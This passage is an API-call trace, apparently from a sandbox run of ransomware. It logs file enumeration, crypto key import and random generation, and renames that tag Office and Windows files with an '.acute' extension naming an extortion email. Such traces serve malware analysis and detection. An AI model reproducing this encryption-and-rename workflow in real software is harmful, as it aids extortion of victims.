(lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt")) returned 0 [0277.515] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.515] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx")) returned 0 [0277.523] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.523] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx")) returned 0 [0277.524] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.524] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx")) returned 0 [0277.524] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.524] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx")) returned 0 [0277.524] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.524] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx")) returned 0 [0277.527] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.527] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\EquityReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\equityreport.dotx")) returned 0 [0277.533] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.533] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx")) returned 0 [0277.534] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.534] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx")) returned 0 [0277.536] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\designer.one"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\DESIGNER.ONE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\designer.one.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.536] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\DESIGNER.ONE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\designer.one.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\designer.one")) returned 0 [0277.598] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.598] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx")) returned 0 [0277.613] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.614] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedquanpin.txt")) returned 0 [0277.615] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0277.615] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservicesimplifiedzhengma.txt")) returned 0 Thread: id = 103 os_tid = 0x6dc [0272.537] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x4260070 [0272.537] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x4270078 [0272.538] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x28) returned 0x1c6590 [0272.538] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x110102) returned 0x4530020 [0272.538] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x50) returned 0x1c65c0 [0272.538] CryptImportKey (in: hProv=0x7d5188, pbData=0x401fc88, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x401fcf0 | out: phKey=0x401fcf0*=0x806d58) returned 1 [0272.538] CryptSetKeyParam (hKey=0x806d58, dwParam=0x1, pbData=0x401fcd8, dwFlags=0x0) returned 1 [0272.538] CryptDecrypt (in: hKey=0x806d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1c65c0, pdwDataLen=0x401fca4 | out: pbData=0x1c65c0, pdwDataLen=0x401fca4) returned 1 [0272.538] CryptDestroyKey (hKey=0x806d58) returned 1 [0272.538] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bd0000 [0272.538] GetProcAddress (hModule=0x75bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75bfd650 [0272.538] Wow64DisableWow64FsRedirection (in: OldValue=0x401fd40 | out: OldValue=0x401fd40*=0x0) returned 1 [0272.538] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x1c65c0 | out: hHeap=0x1c0000) returned 1 [0272.539] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.539] CreateFileW (lpFileName="\\\\?\\C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.539] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.539] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.539] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0272.565] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=99136) returned 1 [0272.565] CloseHandle (hObject=0x324) returned 1 [0272.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0272.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.565] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.566] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.681] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=606062) returned 1 [0272.681] CloseHandle (hObject=0x32c) returned 1 [0272.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0272.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.681] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.682] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=712592) returned 1 [0272.682] CloseHandle (hObject=0x32c) returned 1 [0272.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0272.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.682] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.685] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=320384) returned 1 [0272.685] CloseHandle (hObject=0x32c) returned 1 [0272.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0272.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.685] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.686] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=241024) returned 1 [0272.686] CloseHandle (hObject=0x32c) returned 1 [0272.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0272.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.686] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.687] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1908) returned 1 [0272.687] CloseHandle (hObject=0x32c) returned 1 [0272.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0272.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.687] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.688] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1382) returned 1 [0272.688] CloseHandle (hObject=0x32c) returned 1 [0272.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0272.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.688] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0272.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0272.689] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=73080) returned 1 [0272.689] CloseHandle (hObject=0x32c) returned 1 [0272.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0272.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common 